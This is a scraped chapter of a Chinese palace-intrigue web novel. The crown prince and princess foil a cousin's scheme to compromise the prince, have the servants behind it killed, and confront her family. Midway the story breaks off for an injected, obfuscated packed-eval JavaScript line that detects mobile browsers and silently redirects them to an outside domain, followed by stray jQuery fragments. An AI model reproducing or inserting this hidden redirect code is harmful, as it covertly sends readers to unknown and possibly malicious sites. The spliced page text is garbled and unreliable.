52. 讥讽

作品:《郡主归来

    不一会儿,碧云急匆匆的回来,同卫玖耳语了几句,卫玖听到后,尽管心里早就已经怒火中烧了,但表面却依旧笑呵呵的。


    她状似无意道:“诸位先玩着,方才我母亲身边的丫头送了些东西过了给我和太子,约莫又是母亲他们玩得兴起,派人捎过来的,本宫去看看,先失陪一会儿。”


    今儿来的人自然知道今儿个上京城里的三位长公主殿下约着去海宁寺了,海宁寺的素饼乃是一绝,估计是平乐长公主疼闺女,她们自然不会说什么。


    “碧云,去那边请一下太子,就说母亲送了些东西过来,似乎还带了些话。”碧云点点头,快速退了下去。


    等从赏梅阁中出来,霍闻正在前面等她,卫玖面色不好,与霍闻点了点头,便对一旁的碧云道:“人控制住了吗?”


    碧云回道:“那小丫头已经被看起来了,但是平王世子和周小姐那里……”


    卫玖点点头,“知道了。”


    霍闻方才来时已经听碧云说了一遍,此刻面色也不好,似乎是想起来了什么,“方才我们行酒令,北南他错拿了我的酒杯。”


    卫玖冷笑一声,“他们废了这么多事,自然不是冲着平王世子去的。”


    “你们都留在外面,若有人问起来,只说我母亲让人过来,说她从海宁寺带了些新奇玩意又说晚上叫我们去公主府用饭。”卫玖对归云等人吩咐。


    说完话,卫玖和霍闻两人对视一眼,推门进了这间本该是给客人准备小憩用的屋子。


    床幔已经放了下来,而床上正躺着一个有些宿醉的人,还有一个正窝在他身上的姑娘,或许是被推门的声音吓了一跳,那姑娘不安的往外面一看。


    周鸿娇突然浑身一僵,缓缓看向进来的两人。


    霍闻冷着脸,卫玖却是上前两步将床幔掀开,床上的人立马无处遁形。


    周鸿娇下意识的将自己捂起来,卫玖冷笑一声:“捂什么捂,这时候倒是知道了不好意思。”


    丢给了她一件披风,卫玖实在不想看她这副模样,霍闻面上自然也不好看,说起来这还是他娘家表妹呢。


    “还不滚出来。”


    周鸿娇此刻真是面子里子都没了,虽然知道这件事已经够羞耻了,可现在事情也没成,人还被抓了个现行,周鸿娇自然难堪。


    她此刻已然是脸色煞白,低头将方才卫玖丢过来的披风围在了身上,不敢吭声。


    “兴文……”霍闻喊了一声,外面守着的人便进来了。


    “送表小姐回府,在让人熬一碗醒酒汤来伺候平王世子服下。”卫玖冷着脸吩咐完,同霍闻对视一眼,“这事先瞒过去,等一会儿宴会散了再说。”


    霍闻点点头。


    霍闻紧跟着补充道:“今日之事,若是传出去半个字……”他并没有说完,但语气中的寒意却已经表明了态度。


    周鸿娇像是那见不得人的老鼠一样被人“请”出了东宫,连侧门都不能走,只能偷偷摸摸的从小门被送回了承恩公府。


    承恩公此刻没在家,想来是又不知道去哪里消磨去了,只有周氏见周鸿娇失魂落魄的回来,她赶忙去了周鸿娇的房间,却听到里面传出呜咽声。


    教周鸿娇用这些下作手段与太子扯上关系的法子自然是周氏出的,此刻见周鸿娇哭,周氏只以为是姑娘家面皮薄,她心里美滋滋的问道:“姑娘,怎么样,可成了。”


    周鸿娇见周氏春风满面的模样,心里恼怒,朝她喊道:“你如今这个得意模样给谁看呢,全完了,我还没来得及做,刚脱了衣服便被太子太子妃捉了个正着,我真是后悔听了你的话,如今脸都没了,便是一头碰死也没了名声。”


    说完周鸿娇又呜呜的哭了起来,她瘫坐在床上,此刻她心里明白的知道,自己算是完了,不仅计划落空,还得罪了东宫。


    更可怕的是,若是父亲回来知道的话,再疼爱她也不会放过她的,还有大夫人,女子的名声何其重要,就算是为了周鸿雨大夫人也不会轻饶了她。


    万幸的是,东宫及时封锁了消息,这事也只有几个人知道,她此刻不免还有了几分的庆幸。


    另一边,见太子妃乐呵呵的回来,承恩公夫人却瞧着出去换衣服的庶女还未回来,不免有些疑惑,正想叫人问问,便见太子妃身边的大丫鬟过了道:“夫人,方才承恩公叫周小姐回府,急急忙忙的便走了,只说给您递个话叫您知道。”


    承恩公夫人听闻,同归云点点头,这个庶女承恩公一向疼爱,既然是他叫走了,她也懒得过问,却不知等回府后她们竟是给自己了一个天大的惊喜。


    等宴会散场后,卫玖与霍闻派人将那个倒水的小丫头审了审,才知道原来是已经走了的王嬷嬷安排的。


    承恩公府那个周氏原来是承恩公身边的大丫鬟,王嬷嬷又是先皇后身边的老人,两人原都是承恩公府的,也就有了些交情。


    周氏便串通了王嬷嬷,王嬷嬷本来因着卫玖夺了她的权便心里有些不满,加上周氏说等周鸿娇做了太子侧妃,只管同太子吹吹耳边风,王嬷嬷不仅是先后身边的老人,又是太子的奶嬷嬷,再回东宫还不是早晚的事情。


    就这样,王嬷嬷便答应了周氏替她做了今儿这场荒唐事,那个小丫头原来是王嬷嬷带着的人,便将府里赏梅宴的事情告诉了王嬷嬷,才有了今日这场安排。


    霍闻冷笑一声,“我原还想着叫她安安稳稳的在小青山养老,如今却是不知道人竟是如此欲壑难填。”


    挥手叫人将小丫头拉下去,又吩咐兴文道:“去一趟小青山,便叫人悄无声息的没了吧,好歹是伺候的老人,叫她安安稳稳的下葬便算是情分了,至于那个小丫头,杖毙,只说手脚不干净,偷了主子的东西。”


    兴文领命退了出去。


    霍闻的吩咐卫玖自然没有意义,看了他一眼,“走吧,去一趟承恩公府。”


    晚上,承恩公府一家正在用膳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497744|168269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,桌上只有承恩公,承恩公夫人、周鸿雨以及长子周肖硕。


    往常周鸿娇也会在,只是方才说她有些不舒服,便将饭送去了屋子。


    承恩公还特意问了一嘴小姐怎么了,丫鬟只说没什么大事,承恩公只好打消了请大夫的心。


    却转身怒气冲冲的同承恩公夫人道:“娇儿下午同你去了一趟东宫,怎么回来便不舒服了,是不是你又做了什么。”


    听到承恩公质问母亲的话,周肖硕眼神中闪过一丝恨意,同承恩公自然没有好语气,“母亲又不是伺候她的老妈子,怎么她难受便是母亲做得,若是这样,怎么别人没事只有她有事,我看指不定是做了什么亏心事呢。”


    承恩公瞪着周肖硕,怒道:“逆子,你在胡说些什么,她可是你姐姐。”


    周肖硕不冷不热道:“我母亲只有雨儿一个妹妹,哪里蹦出个姐姐来。”


    “逆子。”承恩公想要动手打人,承恩公夫人将周肖硕护在了身后,道:“今儿下午在东宫,不是老爷将人急急忙忙的喊回了府里吗,我还疑惑呢。”


    不等承恩公说话,外面有丫鬟跑来道,太子夫妇来了。


    承恩公听闻太子与太子妃驾到,身上下意识哆嗦了一下,他还记得上次太子过来训斥了他一番,如今又来,还是晚上,怕是又没好事。


    他连忙整衣出迎,心里期盼着可别又来训斥他,他这个做舅舅的还要被外甥训成孙子样,真是丢人。


    承恩公颇有些谄媚的将人迎进了正厅。


    正厅内,霍闻与卫玖一左一右的端坐在主位上,一旁站在承恩公府的一大家子人。


    卫玖扫了两眼没见到周鸿娇,心里冷笑一声,面上却没什么变化,霍闻也是一副冷淡的模样,两人往那一坐,身上的威仪却是掩不住的,看的承恩公心里坠坠的。


    “不知殿下与太子妃驾到,所为何事。”承恩公躬身行礼,额角却已经是渗出了些冷汗,他对这个太子外甥一直发憷。


    霍闻淡淡的看了一眼承恩公,开口道:“舅舅还不知道呢吧,今儿东宫设宴,令千金周鸿娇串通宫人,欲行不轨之事。若非本宫及时发现并压下了消息,只怕今日上京城便传遍了周小姐的艳行,周家女的名声怕是已经没了。”


    承恩公如遭雷击,踉跄后退两步,嘴里道:“这……这怎么可能……”


    承恩公夫人也是一副不可置信的模样,周鸿雨却是当即白了脸色,虽然是周鸿娇做得蠢事,可一笔写不出两个周,在外人眼中,周鸿娇是周家女,她周鸿雨也是周家女啊。


    “舅舅不信,将人叫过来问问不就行了。”霍闻摆摆手,显然懒得再说。


    承恩公夫人却是当即冷声吩咐道:“去将那个孽障带上来。”


    此刻承恩公也顾不得承恩公夫人越俎代庖的事了,他似乎是还沉浸在方才霍闻的话里,他此刻心里自然是信的,他虽然害怕这个外甥,可这个外甥说的话却从没错过。